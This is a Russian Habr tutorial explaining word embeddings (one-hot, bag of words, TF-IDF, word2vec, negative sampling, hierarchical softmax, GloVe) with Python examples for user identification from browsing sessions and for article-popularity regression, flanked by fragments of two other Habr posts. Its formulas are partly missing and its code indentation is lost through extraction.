<%= post.body %>
<% end %>
``` | https://habr.com/ru/post/144277/ | null | ru | null |
# Чудесный мир Word Embeddings: какие они бывают и зачем нужны?
Начать стоит от печки, то есть с постановки задачи. Откуда берется сама задача word embedding?
*Лирическое отступление:* К сожалению, русскоязычное сообщество еще не выработало единого термина для этого понятия, поэтому мы будем использовать англоязычный.
Сам по себе embedding — это сопоставление произвольной сущности (например, узла в графе или кусочка картинки) некоторому вектору.
Сегодня мы говорим про слова и стоит обсудить, как делать такое сопоставление вектора слову.
Вернемся к предмету: вот у нас есть слова и есть компьютер, который должен с этими словами как-то работать. Вопрос — как компьютер будет работать со словами? Ведь компьютер не умеет читать, и вообще устроен сильно иначе, чем человек. Самая первая идея, приходящая в голову — просто закодировать слова цифрами по порядку следования в словаре. Идея очень продуктивна в своей простоте — натуральный ряд бесконечен и можно перенумеровать все слова, не опасаясь проблем. (На секунду забудем про ограничения типов, тем более, в 64-битное слово можно запихнуть числа от 0 до 2^64 — 1, что существенно больше количества всех слов всех известных языков.)
Но у этой идеи есть и существенный недостаток: слова в словаре следуют в алфавитном порядке, и при добавлении слова нужно перенумеровывать заново большую часть слов. Но даже это не является настолько важным, а важно то, буквенное написание слова никак не связано с его смыслом (эту гипотезу еще в конце XIX века высказал известный лингвист Фердинанд де Соссюр). В самом деле слова “петух”, “курица” и “цыпленок” имеют очень мало общего между собой и стоят в словаре далеко друг от друга, хотя очевидно обозначают самца, самку и детеныша одного вида птицы. То есть мы можем выделить два вида близости слов: лексический и семантический. Как мы видим на примере с курицей, эти близости не обязательно совпадают. Можно для наглядности привести обратный пример лексически близких, но семантически далеких слов — "зола" и "золото". (Если вы никогда не задумывались, то имя Золушка происходит именно от первого.)
Чтобы получить возможность представить семантическую близость, было предложено использовать embedding, то есть сопоставить слову некий вектор, отображающий его значение в “пространстве смыслов”.
Какой самый простой способ получить вектор из слова? Кажется, что естественно будет взять вектор длины нашего словаря и поставить только одну единицу в позиции, соответствующей номеру слова в словаре. Этот подход называется one-hot encoding (OHE). OHE все еще не обладает свойствами семантической близости:
Значит нам нужно найти другой способ преобразования слов в вектора, но OHE нам еще пригодится.
Отойдем немного назад — значение одного слова нам может быть и не так важно, т.к. речь (и устная, и письменная) состоит из наборов слов, которые мы называем текстами. Так что если мы захотим как-то представить тексты, то мы возьмем OHE-вектор каждого слова в тексте и сложим вместе. Т.е. на выходе получим просто подсчет количества различных слов в тексте в одном векторе. Такой подход называется “мешок слов” (bag of words, BoW), потому что мы теряем всю информацию о взаимном расположении слов внутри текста.
Но несмотря на потерю этой информации так тексты уже можно сравнивать. Например, с помощью [косинусной меры](https://github.com/madrugado/word2vec-article/blob/master/cosine-documents.ipynb).
Мы можем пойти дальше и представить наш корпус (набор текстов) в виде матрицы “слово-документ” (term-document). Стоит отметить, что в области информационного поиска (information retrieval) эта матрица носит название "обратного индекса" (inverted index), в том смысле, что обычный/прямой индекс выглядит как "документ-слово" и очень неудобен для быстрого поиска. Но это опять же выходит за рамки нашей статьи.
Эта матрица приводит нас к тематическим моделям, где матрицу “слово-документ” пытаются представить в виде произведения двух матриц “слово-тема” и “тема-документ”. В самом простом случае мы возьмем матрицу и с помощью SVD-разложения получим представление слов через темы и документов через темы:
Здесь  — слова,  — документы. Но это уже будет предметом другой статьи, а сейчас мы вернемся к нашей главной теме — векторному представлению слов.
Пусть у нас есть такой корпус:
```
s = ['Mars has an athmosphere', "Saturn 's moon Titan has its own athmosphere",
'Mars has two moons', 'Saturn has many moons', 'Io has cryo-vulcanoes']
```
С помощью SVD-преобразования, выделим только первые две компоненты, и нарисуем:
Что интересного на этой картинке? То, что Титан и Ио — далеко друг от друга, хотя они оба являются спутниками Сатурна, но в нашем корпусе про это ничего нет. Слова "атмосфера" и "Сатурн" очень близко друг другу, хотя не являются синонимами. В то же время "два" и "много" стоят рядом, что логично. Но общий смысл этого примера в том, что результаты, которые вы получите очень сильно зависят от корпуса, с которым вы работаете. Весь код для получения картинки выше можно посмотреть [здесь](https://github.com/madrugado/word2vec-article/blob/master/svd-example-2.ipynb).
Логика повествования выводит на следующую модификацию матрицы term-document — формулу TF-IDF. Эта аббревиатура означает "term frequency — inverse document frequency".
Давайте попробуем разобраться, что это такое. Итак, TF — это частота слова  в тексте , здесь нет ничего сложного. А вот IDF — существенно более интересная вещь: это логарифм обратной частоты распространенности слова  в корпусе . Распространенностью называется отношение числа текстов, в которых встретилось искомое слово, к общему числу текстов в корпусе. С помощью TF-IDF тексты также [можно сравнивать](https://github.com/madrugado/word2vec-article/blob/master/cosine-documents-tf-idf.ipynb), и делать это можно с меньшей опаской, чем при использовании обычных частот.
Новая эпоха
===========
Описанные выше подходы были (и остаются) хороши для времен (или областей), где количество текстов мало и словарь ограничен, хотя, как мы видели, там тоже есть свои сложности. Но с приходом в нашу жизнь интернета все стало одновременно и сложнее и проще: в доступе появилось великое множество текстов, и эти тексты с изменяющимся и расширяющимся словарем. С этим надо было что-то делать, а ранее известные модели не могли справиться с таким объемом текстов. Количество слов в английском языке очень грубо составляет миллион — матрица совместных встречаемостей только пар слов будет 10^6 x 10^6. Такая матрица даже сейчас не очень лезет в память компьютеров, а, скажем, 10 лет назад про такое можно было не мечтать. Конечно, были придуманы множество способов, упрощающих или распараллеливающих обработку таких матриц, но все это были паллиативные методы.
И тогда, как это часто бывает, был предложен выход по принципу “тот, кто нам мешает, тот нам поможет!” А именно, в 2013 году тогда мало кому известный чешский аспирант Томаш Миколов предложил свой подход к word embedding, который он назвал word2vec. Его подход основан на другой важной гипотезе, которую в науке принято называть гипотезой локальности — “слова, которые встречаются в одинаковых окружениях, имеют близкие значения”. Близость в данном случае понимается очень широко, как то, что рядом могут стоять только сочетающиеся слова. Например, для нас привычно словосочетание "заводной будильник". А сказать “заводной апельсин” мы не можем\* — эти слова не сочетаются.
Основываясь на этой гипотезе Томаш Миколов предложил новый подход, который не страдал от больших объемов информации, а наоборот выигрывал [1].
Модель, предложенная Миколовым очень проста (и потому так хороша) — мы будем предсказывать вероятность слова по его окружению (контексту). То есть мы будем учить такие вектора слов, чтобы вероятность, присваиваемая моделью слову была близка к вероятности встретить это слово в этом окружении в реальном тексте.
Здесь  — вектор целевого слова,  — это некоторый вектор контекста, вычисленный (например, путем усреднения) из векторов окружающих нужное слово других слов. А  — это функция, которая двум векторам сопоставляет одно число. Например, это может быть упоминавшееся выше косинусное расстояние.
Приведенная формула называется softmax, то есть “мягкий максимум”, мягкий — в смысле дифференцируемый. Это нужно для того, чтобы наша модель могла обучиться с помощью backpropagation, то есть процесса обратного распространения ошибки.
Процесс тренировки устроен следующим образом: мы берем последовательно (2k+1) слов, слово в центре является тем словом, которое должно быть предсказано. А окружающие слова являются контекстом длины по k с каждой стороны. Каждому слову в нашей модели сопоставлен уникальный вектор, который мы меняем в процессе обучения нашей модели.
В целом, этот подход называется CBOW — continuous bag of words, continuous потому, что мы скармливаем нашей модели последовательно наборы слов из текста, a BoW потому что порядок слов в контексте не важен.
Также Миколовым сразу был предложен другой подход — прямо противоположный CBOW, который он назвал skip-gram, то есть “словосочетание с пропуском”. Мы пытаемся из данного нам слова угадать его контекст (точнее вектор контекста). В остальном модель не претерпевает изменений.
Что стоит отметить: хотя в модель не заложено явно никакой семантики, а только статистические свойства корпусов текстов, оказывается, что натренированная модель word2vec может улавливать некоторые семантические свойства слов. Классический пример из работы автора:
Слово "мужчина" относится к слову "женщина" так же, как слово "дядя" к слову "тётя", что для нас совершенно естественно и понятно, но в других моделям добиться такого же соотношения векторов можно только с помощью специальных ухищрений. Здесь же — это происходит естественно из самого корпуса текстов. Кстати, помимо семантических связей, улавливаются и синтаксические, справа показано соотношение единственного и множественного числа.
Более сложные вещи
------------------
На самом деле, за прошедшее время были предложены улучшения ставшей уже также классической модели Word2Vec. Два самых распространенных будут описаны ниже. Но этот раздел может быть пропущен без ущерба для понимания статьи в целом, если покажется слишком сложным.
### Negative Sampling
В стандартной модели CBoW, рассмотренной выше, мы предсказываем вероятности слов и оптимизируем их. Функцией для оптимизации (минимизации в нашем случае) служит дивергенция Кульбака-Лейблера:
Здесь  — распределение вероятностей слов, которое мы берем из корпуса,  — распределение, которое порождает наша модель. Дивергенция — это буквально "расхождение", насколько одно распределение не похоже на другое. Т.к. наши распределения на словах, т.е. являются дискретными, мы можем заменить в этой формуле интеграл на сумму:
Оказалось так, что оптимизировать эту формулу достаточно сложно. Прежде всего из-за того, что  рассчитывается с помощью softmax по всему словарю. (Как мы помним, в английском сейчас порядка миллиона слов.) Здесь стоит отметить, что многие слова вместе не встречаются, как мы уже отмечали выше, поэтому большая часть вычислений в softmax является избыточной. Был предложен элегантный обходной путь, который получил название Negative Sampling. Суть этого подхода заключается в том, что мы максимизируем вероятность встречи для нужного слова в типичном контексте (том, который часто встречается в нашем корпусе) и одновременно минимизируем вероятность встречи в нетипичном контексте (том, который редко или вообще не встречается). Формулой мысль выше записывается так:
Здесь  — точно такой же, что и в оригинальной формуле, а вот остальное несколько отличается. Прежде всего стоит обратить внимание на то, что формуле теперь состоит из двух частей: позитивной () и негативной (). Позитивная часть отвечает за типичные контексты, и  здесь — это распределение совместной встречаемости слова  и остальных слов корпуса. Негативная часть — это, пожалуй, самое интересное — это набор слов, которые с нашим целевым словом встречаются редко. Этот набор порождается из распределения , которое на практике берется как равномерное по всем словам словаря корпуса. Было показано, что такая функция приводит при своей оптимизации к результату, аналогичному стандартному softmax [2].
### Hierarchical SoftMax
Также люди зашли и с другой стороны — можно не менять исходную формулу, а попробовать посчитать сам softmax более эффективно. Например, используя бинарное дерево [3]. По всем словам в словаре строится дерево Хаффмана. В полученном дереве  слов располагаются на листьях дерева.
На рисунке изображен пример такого бинарного дерева. Жирным выделен путь от корня до слова . Длину пути обозначим , а -ую вершину на пути к слову  обозначим через . Можно доказать, что внутренних вершин (не листьев) .
С помощью иерархического softmax вектора  предсказывается для  внутренних вершин. А вероятность того, что слово  будет выходным словом (в зависимости от того, что мы предсказываем: слово из контекста или заданное слово по контексту) вычисляется по формуле:
![$p(w=w_o)=\prod\limits_{j=1}^{L(w)-1}\sigma([n(w,j+1)=lch(n(w,j))] v_{n(w,j)}^T u)$](https://habrastorage.org/getpro/habr/formulas/018/e83/e8f/018e83e8fb17212f7b2c6a6be6d09635.svg)
где  — функция softmax; ![$[true]=1,[false]=-1$](https://habrastorage.org/getpro/habr/formulas/870/680/f3e/870680f3ef96594c5444eaeca1440677.svg);  — левый сын вершины ; , если используется метод skip-gram, , то есть, усредненный вектор контекста, если используется CBOW.
Формулу можно интуитивно понять, представив, что на каждом шаге мы можем пойти налево или направо с вероятностями:
Затем на каждом шаге вероятности перемножаются ( шагов) и получается искомая формула.
При использовании простого softmax для подсчета вероятности слова, приходилось вычислять нормирующую сумму по всем словам из словаря, требовалось  операций. Теперь же вероятность слова можно вычислить при помощи последовательных вычислений, которые требуют .
Другие модели
=============
Помимо word2vec были, само собой, предложены и другие модели word embedding. Стоит отметить модель, предложенную лабораторией компьютерной лингвистики Стенфордского университета, под названием Global Vectors (GloVe), сочетающую в себе черты SVD разложения и word2vec [4].
Также надо упомянуть о том, что т.к. изначально все описанные модели были предложены для английского языка, то там не так остро стоит проблема словоизменения, характерная для синтетических языков (это — [лингвистический термин](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B5%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA)), вроде русского. Везде выше по тексту неявно предполагалось, что мы либо считаем разные формы одного слова разными словами — и тогда надеяться, что нашего корпуса будет достаточно модели, чтобы выучить их синтаксическую близость, либо используем механизмы стеммирования или лемматизации. Стеммирование — это обрезание окончания слова, оставление только основы (например, “красного яблока” превратится в “красн яблок”). А лемматизация — замена слова его начальной формой (например, “мы бежим” превратится в “я бежать”). Но мы можем и не терять эту информацию, а использовать ее — закодировав OHE в новый вектор, и сконкатинировать его с вектором для основы или леммы.
Еще стоит сказать, что то, с чем мы начинали — буквенное представление слова — тоже не кануло в Лету: предложены модели по использованию буквенного представления слова для word embedding [5].
Практическое применение
=======================
Мы поговорили о теории, пришло время посмотреть, к чему все вышеописанное применимо на практике. Ведь любая самая красивая теория без практического применения — не более чем игра ума. Рассмотрим применение Word2Vec в двух задачах:
1) Задача классификации, необходимо по последовательности посещенных сайтов определять пользователя;
2) Задача регрессии, необходимо по тексту статьи определить ее рейтинг на Хабрахабре.
Классификация
-------------
```
# загрузим библиотеки и установим опции
from __future__ import division, print_function
# отключим всякие предупреждения Anaconda
import warnings
warnings.filterwarnings('ignore')
#%matplotlib inline
import numpy as np
import pandas as pd
from sklearn.metrics import roc_auc_score
```
Cкачать данные для первой задачи можно со страницы соревнования ["Catch Me If You Can"](https://inclass.kaggle.com/c/catch-me-if-you-can-intruder-detection-through-webpage-session-tracking)
```
# загрузим обучающую и тестовую выборки
train_df = pd.read_csv('data/train_sessions.csv')#,index_col='session_id')
test_df = pd.read_csv('data/test_sessions.csv')#, index_col='session_id')
# приведем колонки time1, ..., time10 к временному формату
times = ['time%s' % i for i in range(1, 11)]
train_df[times] = train_df[times].apply(pd.to_datetime)
test_df[times] = test_df[times].apply(pd.to_datetime)
# отсортируем данные по времени
train_df = train_df.sort_values(by='time1')
# посмотрим на заголовок обучающей выборки
train_df.head()
```
```
sites = ['site%s' % i for i in range(1, 11)]
#заменим nan на 0
train_df[sites] = train_df[sites].fillna(0).astype('int').astype('str')
test_df[sites] = test_df[sites].fillna(0).astype('int').astype('str')
#создадим тексты необходимые для обучения word2vec
train_df['list'] = train_df['site1']
test_df['list'] = test_df['site1']
for s in sites[1:]:
train_df['list'] = train_df['list']+","+train_df[s]
test_df['list'] = test_df['list']+","+test_df[s]
train_df['list_w'] = train_df['list'].apply(lambda x: x.split(','))
test_df['list_w'] = test_df['list'].apply(lambda x: x.split(','))
```
```
#В нашем случае предложение это набор сайтов, которые посещал пользователь
#нам необязательно переводить цифры в названия сайтов, т.к. алгоритм будем выявлять взаимосвязь их друг с другом.
train_df['list_w'][10]
```
```
['229', '1500', '33', '1500', '391', '35', '29', '2276', '40305', '23']
```
```
# подключим word2vec
from gensim.models import word2vec
```
```
#объединим обучающую и тестовую выборки и обучим нашу модель на всех данных
#с размером окна в 6=3*2 (длина предложения 10 слов) и итоговыми векторами размерности 300, параметр workers отвечает за количество ядер
test_df['target'] = -1
data = pd.concat([train_df,test_df], axis=0)
model = word2vec.Word2Vec(data['list_w'], size=300, window=3, workers=4)
#создадим словарь со словами и соответсвующими им векторами
w2v = dict(zip(model.wv.index2word, model.wv.syn0))
```
Т.к. сейчас мы каждому слову сопоставили вектор, то нужно решить, что сопоставить целому предложению из слов.
Один из возможных вариантов это просто усреднить все слова в предложении и получить некоторый смысл всего предложения (если слова нет в тексте, то берем нулевой вектор).
```
class mean_vectorizer(object):
def __init__(self, word2vec):
self.word2vec = word2vec
self.dim = len(next(iter(w2v.values())))
def fit(self, X):
return self
def transform(self, X):
return np.array([
np.mean([self.word2vec[w] for w in words if w in self.word2vec]
or [np.zeros(self.dim)], axis=0)
for words in X
])
```
```
data_mean=mean_vectorizer(w2v).fit(train_df['list_w']).transform(train_df['list_w'])
data_mean.shape
```
```
(253561, 300)
```
Т.к. мы получили distributed representation, то никакое число по отдельности ничего не значит, а значит лучше всего покажут себя линейные алгоритмы. Попробуем нейронные сети, LogisticRegression и проверим нелинейный метод XGBoost.
```
# Воспользуемся валидацией
def split(train,y,ratio):
idx = round(train.shape[0] * ratio)
return train[:idx, :], train[idx:, :], y[:idx], y[idx:]
y = train_df['target']
Xtr, Xval, ytr, yval = split(data_mean, y,0.8)
Xtr.shape,Xval.shape,ytr.mean(),yval.mean()
```
```
((202849, 300), (50712, 300), 0.009726446765820882, 0.006389020350212968)
```
```
# подключим библиотеки keras
from keras.models import Sequential, Model
from keras.layers import Dense, Dropout, Activation, Input
from keras.preprocessing.text import Tokenizer
from keras import regularizers
```
```
# опишем нейронную сеть
model = Sequential()
model.add(Dense(128, input_dim=(Xtr.shape[1])))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(1))
model.add(Activation('sigmoid'))
model.compile(loss='binary_crossentropy',
optimizer='adam',
metrics=['binary_accuracy'])
```
```
history = model.fit(Xtr, ytr,
batch_size=128,
epochs=10,
validation_data=(Xval, yval),
class_weight='auto',
verbose=0)
```
```
classes = model.predict(Xval, batch_size=128)
roc_auc_score(yval, classes)
```
```
0.91892341356995644
```
Получили неплохой результат. Значит Word2Vec смог выявить зависимости между сессиями.
Посмотрим, что произойдет с алгоритмом XGBoost.
```
import xgboost as xgb
```
```
dtr = xgb.DMatrix(Xtr, label= ytr,missing = np.nan)
dval = xgb.DMatrix(Xval, label= yval,missing = np.nan)
watchlist = [(dtr, 'train'), (dval, 'eval')]
history = dict()
```
```
params = {
'max_depth': 26,
'eta': 0.025,
'nthread': 4,
'gamma' : 1,
'alpha' : 1,
'subsample': 0.85,
'eval_metric': ['auc'],
'objective': 'binary:logistic',
'colsample_bytree': 0.9,
'min_child_weight': 100,
'scale_pos_weight':(1)/y.mean(),
'seed':7
}
```
```
model_new = xgb.train(params, dtr, num_boost_round=200, evals=watchlist, evals_result=history, verbose_eval=20)
```
**Обучение**
```
[0] train-auc:0.954886 eval-auc:0.85383
[20] train-auc:0.989848 eval-auc:0.910808
[40] train-auc:0.992086 eval-auc:0.916371
[60] train-auc:0.993658 eval-auc:0.917753
[80] train-auc:0.994874 eval-auc:0.918254
[100] train-auc:0.995743 eval-auc:0.917947
[120] train-auc:0.996396 eval-auc:0.917735
[140] train-auc:0.996964 eval-auc:0.918503
[160] train-auc:0.997368 eval-auc:0.919341
[180] train-auc:0.997682 eval-auc:0.920183
```
Видим, что алгоритм сильно подстраивается под обучающую выборку, поэтому возможно наше предположение о необходимости использовать линейные алгоритмы подтверждено.
Посмотрим, что покажет обычный LogisticRegression.
```
from sklearn.linear_model import LogisticRegression
def get_auc_lr_valid(X, y, C=1, seed=7, ratio = 0.8):
# разделим выборку на обучающую и валидационную
idx = round(X.shape[0] * ratio)
# обучение классификатора
lr = LogisticRegression(C=C, random_state=seed, n_jobs=-1).fit(X[:idx], y[:idx])
# прогноз для валидационной выборки
y_pred = lr.predict_proba(X[idx:, :])[:, 1]
# считаем качество
score = roc_auc_score(y[idx:], y_pred)
return score
```
```
get_auc_lr_valid(data_mean, y, C=1, seed=7, ratio = 0.8)
```
```
0.90037148150108237
```
Попробуем улучшить результаты.
Теперь вместо обычного среднего, чтобы учесть частоту с которой слово встречается в тексте, возьмем взвешенное среднее. В качестве весов возьмем IDF. Учёт IDF уменьшает вес широко употребительных слов и увеличивает вес более редких слов, которые могут достаточно точно указать на то, к какому классу относится текст. В нашем случае, кому принадлежит последовательность посещенных сайтов.
```
#пропишем класс выполняющий tfidf преобразование.
from sklearn.feature_extraction.text import TfidfVectorizer
from collections import defaultdict
class tfidf_vectorizer(object):
def __init__(self, word2vec):
self.word2vec = word2vec
self.word2weight = None
self.dim = len(next(iter(w2v.values())))
def fit(self, X):
tfidf = TfidfVectorizer(analyzer=lambda x: x)
tfidf.fit(X)
max_idf = max(tfidf.idf_)
self.word2weight = defaultdict(
lambda: max_idf,
[(w, tfidf.idf_[i]) for w, i in tfidf.vocabulary_.items()])
return self
def transform(self, X):
return np.array([
np.mean([self.word2vec[w] * self.word2weight[w]
for w in words if w in self.word2vec] or
[np.zeros(self.dim)], axis=0)
for words in X
])
```
```
data_mean = tfidf_vectorizer(w2v).fit(train_df['list_w']).transform(train_df['list_w'])
```
Проверим изменилось ли качество LogisticRegression.
```
get_auc_lr_valid(data_mean, y, C=1, seed=7, ratio = 0.8)
```
```
0.90738924587178804
```
видим прирост на 0.07, значит скорее всего взвешенное среднее помогает лучше отобразить смысл всего предложения через word2vec.
Предсказание популярности
-------------------------
Попробуем Word2Vec уже в текстовой задаче — предсказании популярности статьи на Хабрхабре.
Испробуем силы алгоритма непосредственно на текстовых данных статей Хабра. Мы преобразовали данные в csv таблицы. Скачать их вы можете здесь: [train](https://yadi.sk/d/hAhCuetI3JPouk), [test](https://yadi.sk/d/mLMZZtN63JPouc).
```
Xtrain = pd.read_csv('data/train_content.csv')
Xtest = pd.read_csv('data/test_content.csv')
print(Xtrain.shape,Xtest.shape)
Xtrain.head()
```
**Пример текста**'Доброго хабрадня!
\r\n
\r\nПерейду сразу к сути. С недавнего времени на меня возложилась задача развития контекстной сети текстовых объявлений. Задача возможно кому-то покажется простой, но есть несколько нюансов. Страна маленькая, 90% интернет-пользователей сконцентрировано в одном городе. С одной стороны легко охватить, с другой стороны некуда развиваться.
\r\n
\r\nТак как развитие интернет-проектов у нас слабое, и недоверие клиентов к местным проектам преобладает, то привлечь рекламодателей тяжело. Но самое страшное это привлечь площадки, которые знают и Бегун и AdSense, но абсолютно не знают нас. В целом проблема такая: площадки не регистрируются, потому что нет рекламодателей с деньгами, а рекламодатели не дают объявления, потому что список площадок слаб.
\r\n
\r\nКак выходят из такого положения Хабраспециалисты?'
Будем обучать модель на всем содержании статьи. Для этого совершим некоторые преобразования над текстом.
Напишем функцию, которая будет преобразовывать тестовую статью в лист из слов необходимый для обучения Word2Vec.
Функция получает строку, в которой содержится весь текстовый документ.
1) Сначала функция будет удалять все символы кроме букв верхнего и нижнего регистра;
2) Затем преобразовывает слова к нижнему регистру;
3) После чего удаляет стоп слова из текста, т.к. они не несут никакой информации о содержании;
4) Лемматизация, процесс приведения словоформы к лемме — её нормальной (словарной) форме.
Функция возвращает лист из слов.
```
# подключим необходимые библиотеки
from sklearn.metrics import mean_squared_error
import re
from nltk.corpus import stopwords
import pymorphy2
morph = pymorphy2.MorphAnalyzer()
stops = set(stopwords.words("english")) | set(stopwords.words("russian"))
def review_to_wordlist(review):
#1)
review_text = re.sub("[^а-яА-Яa-zA-Z]"," ", review)
#2)
words = review_text.lower().split()
#3)
words = [w for w in words if not w in stops]
#4)
words = [morph.parse(w)[0].normal_form for w in words ]
return(words)
```
Лемматизация занимает много времени, поэтому ее можно убрать в целях более быстрых подсчетов.
```
# Преобразуем время
Xtrain['date'] = Xtrain['date'].apply(pd.to_datetime)
Xtrain['year'] = Xtrain['date'].apply(lambda x: x.year)
Xtrain['month'] = Xtrain['date'].apply(lambda x: x.month)
```
Будем обучаться на 2015 году, а валидироваться по первым 4 месяцам 2016, т.к. в нашей тестовой выборке представлены данные за первые 4 месяца 2017 года. Более правдивую валидацию можно сделать, идя по годам, увеличивая нашу обучающую выборку и смотря качество на первых четырех месяцах следующего года
```
Xtr = Xtrain[Xtrain['year']==2015]
Xval = Xtrain[(Xtrain['year']==2016)& (Xtrain['month']<=4)]
ytr = Xtr['favs_lognorm']
yval = Xval['favs_lognorm']
Xtr.shape,Xval.shape,ytr.mean(),yval.mean()
```
```
((23425, 15), (7556, 15), 3.4046228249071526, 3.304679829935242)
```
```
data = pd.concat([Xtr,Xval],axis = 0,ignore_index = True)
```
```
#у нас есть nan, поэтому преобразуем их к строке
data['content_clear'] = data['content'].apply(str)
```
```
%%time
data['content_clear'] = data['content_clear'].apply(review_to_wordlist)
```
```
model = word2vec.Word2Vec(data['content_clear'], size=300, window=10, workers=4)
w2v = dict(zip(model.wv.index2word, model.wv.syn0))
```
Посмотрим чему выучилась модель:
```
model.wv.most_similar(positive=['open', 'data','science','best'])
```
**Результат**[('massive', 0.6958945393562317),
('mining', 0.6796239018440247),
('scientist', 0.6742461919784546),
('visualization', 0.6403135061264038),
('centers', 0.6386666297912598),
('big', 0.6237790584564209),
('engineering', 0.6209672689437866),
('structures', 0.609510600566864),
('knowledge', 0.6094595193862915),
('scientists', 0.6050446629524231)]
Модель обучилась достаточно неплохо, посмотрим на результаты алгоритмов:
```
data_mean = mean_vectorizer(w2v).fit(data['content_clear']).transform(data['content_clear'])
data_mean.shape
```
```
def split(train,y,ratio):
idx = ratio
return train[:idx, :], train[idx:, :], y[:idx], y[idx:]
y = data['favs_lognorm']
Xtr, Xval, ytr, yval = split(data_mean, y,23425)
Xtr.shape,Xval.shape,ytr.mean(),yval.mean()
```
```
((23425, 300), (7556, 300), 3.4046228249071526, 3.304679829935242)
```
```
from sklearn.linear_model import Ridge
from sklearn.metrics import mean_squared_error
model = Ridge(alpha = 1,random_state=7)
model.fit(Xtr, ytr)
train_preds = model.predict(Xtr)
valid_preds = model.predict(Xval)
ymed = np.ones(len(valid_preds))*ytr.median()
print('Ошибка на трейне',mean_squared_error(ytr, train_preds))
print('Ошибка на валидации',mean_squared_error(yval, valid_preds))
print('Ошибка на валидации предсказываем медиану',mean_squared_error(yval, ymed))
```
```
Ошибка на трейне 0.734248488422
Ошибка на валидации 0.665592676973
Ошибка на валидации предсказываем медиану 1.44601638512
```
```
data_mean_tfidf = tfidf_vectorizer(w2v).fit(data['content_clear']).transform(data['content_clear'])
```
```
y = data['favs_lognorm']
Xtr, Xval, ytr, yval = split(data_mean_tfidf, y,23425)
Xtr.shape,Xval.shape,ytr.mean(),yval.mean()
```
```
((23425, 300), (7556, 300), 3.4046228249071526, 3.304679829935242)
```
```
model = Ridge(alpha = 1,random_state=7)
model.fit(Xtr, ytr)
train_preds = model.predict(Xtr)
valid_preds = model.predict(Xval)
ymed = np.ones(len(valid_preds))*ytr.median()
print('Ошибка на трейне',mean_squared_error(ytr, train_preds))
print('Ошибка на валидации',mean_squared_error(yval, valid_preds))
print('Ошибка на валидации предсказываем медиану',mean_squared_error(yval, ymed))
```
```
Ошибка на трейне 0.743623730976
Ошибка на валидации 0.675584372744
Ошибка на валидации предсказываем медиану 1.44601638512
```
Попробуем нейронные сети.
```
# подключим библиотеки keras
from keras.models import Sequential, Model
from keras.layers import Dense, Dropout, Activation, Input
from keras.preprocessing.text import Tokenizer
from keras import regularizers
from keras.wrappers.scikit_learn import KerasRegressor
```
```
# Опишем нашу сеть.
def baseline_model():
model = Sequential()
model.add(Dense(128, input_dim=Xtr.shape[1], kernel_initializer='normal', activation='relu'))
model.add(Dropout(0.2))
model.add(Dense(64, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(1, kernel_initializer='normal'))
model.compile(loss='mean_squared_error', optimizer='adam')
return model
estimator = KerasRegressor(build_fn=baseline_model,epochs=20, nb_epoch=20, batch_size=64,validation_data=(Xval, yval), verbose=2)
```
```
estimator.fit(Xtr, ytr)
```
**Обучение**Train on 23425 samples, validate on 7556 samples
Epoch 1/20
1s — loss: 1.7292 — val\_loss: 0.7336
Epoch 2/20
0s — loss: 1.2382 — val\_loss: 0.6738
Epoch 3/20
0s — loss: 1.1379 — val\_loss: 0.6916
Epoch 4/20
0s — loss: 1.0785 — val\_loss: 0.6963
Epoch 5/20
0s — loss: 1.0362 — val\_loss: 0.6256
Epoch 6/20
0s — loss: 0.9858 — val\_loss: 0.6393
Epoch 7/20
0s — loss: 0.9508 — val\_loss: 0.6424
Epoch 8/20
0s — loss: 0.9066 — val\_loss: 0.6231
Epoch 9/20
0s — loss: 0.8819 — val\_loss: 0.6207
Epoch 10/20
0s — loss: 0.8634 — val\_loss: 0.5993
Epoch 11/20
1s — loss: 0.8401 — val\_loss: 0.6093
Epoch 12/20
1s — loss: 0.8152 — val\_loss: 0.6006
Epoch 13/20
0s — loss: 0.8005 — val\_loss: 0.5931
Epoch 14/20
0s — loss: 0.7736 — val\_loss: 0.6245
Epoch 15/20
0s — loss: 0.7599 — val\_loss: 0.5978
Epoch 16/20
1s — loss: 0.7407 — val\_loss: 0.6593
Epoch 17/20
1s — loss: 0.7339 — val\_loss: 0.5906
Epoch 18/20
1s — loss: 0.7256 — val\_loss: 0.5878
Epoch 19/20
1s — loss: 0.7117 — val\_loss: 0.6123
Epoch 20/20
0s — loss: 0.7069 — val\_loss: 0.5948
Получили более хороший результат по сравнению с гребневой регрессией.
Заключение
==========
Word2Vec показал свою пользу на практических задачах анализа текстов, все-таки не зря на текущий момент на практике используется в основном именно он и — гораздо менее популярный — GloVe. Тем не менее, может быть в вашей конкретной задаче, вам пригодятся подходы, которым для эффективной работы не требуются такие объемы данных, как для word2vec.
Код ноутбуков с примерами можно взять [здесь](https://github.com/madrugado/word2vec-article). Код практического применения — вот [тут](https://github.com/Yorko/mlcourse_open/blob/master/jupyter_notebooks/tutorials/word2vec_demonzheg.ipynb).
Пост написан совместно с [demonzheg](https://habr.com/users/demonzheg/).
Литература
----------
1. Tomas Mikolov, Kai Chen, Greg Corrado, and Jeffrey Dean. *Efficient estimation
of word representations in vector space.* CoRR, abs/1301.3781,
2. Tomas Mikolov, Ilya Sutskever, Kai Chen, Gregory S. Corrado, and Jeffrey Dean. *Distributed representations of words and phrases and their compositionality.* In Advances in Neural Information Processing Systems 26: 27th Annual Conference on Neural Information Processing Systems 2013. Proceedings of a meeting held December 5-8, 2013, Lake Tahoe, Nevada, United States, pages 3111–3119, 2013.
3. Morin, F., & Bengio, Y. *Hierarchical Probabilistic Neural Network Language Model*. Aistats, 5, 2005.
4. Jeffrey Pennington, Richard Socher, and Christopher D. Manning. *GloVe: Global Vectors for Word Representation.* 2014.
5. Piotr Bojanowski, Edouard Grave, Armand Joulin, and Tomas Mikolov. *Enriching word vectors
with subword information.* arXiv preprint arXiv:1607.04606, 2016.
\* Да, это специальная пасхалка для любителей творчества Энтони Бёрджеса. | https://habr.com/ru/post/329410/ | null | ru | null |
# 1000 глаз, которые не хотят проверять код открытых проектов
Есть такой миф, что открытое программное обеспечение более качественное и безопасное, чем закрытое. Много раз это обоснованно ставилось под сомнение. Существует примеры, когда в открытом коде находили эпичные уязвимости, которые скрывались от разработчиков и пользователей долгие годы. Я считаю, что качество проекта зависит от того, как руководители разработки построили процесс и какие методологии/инструменты используются, а не от того, открыт или закрыт проект.
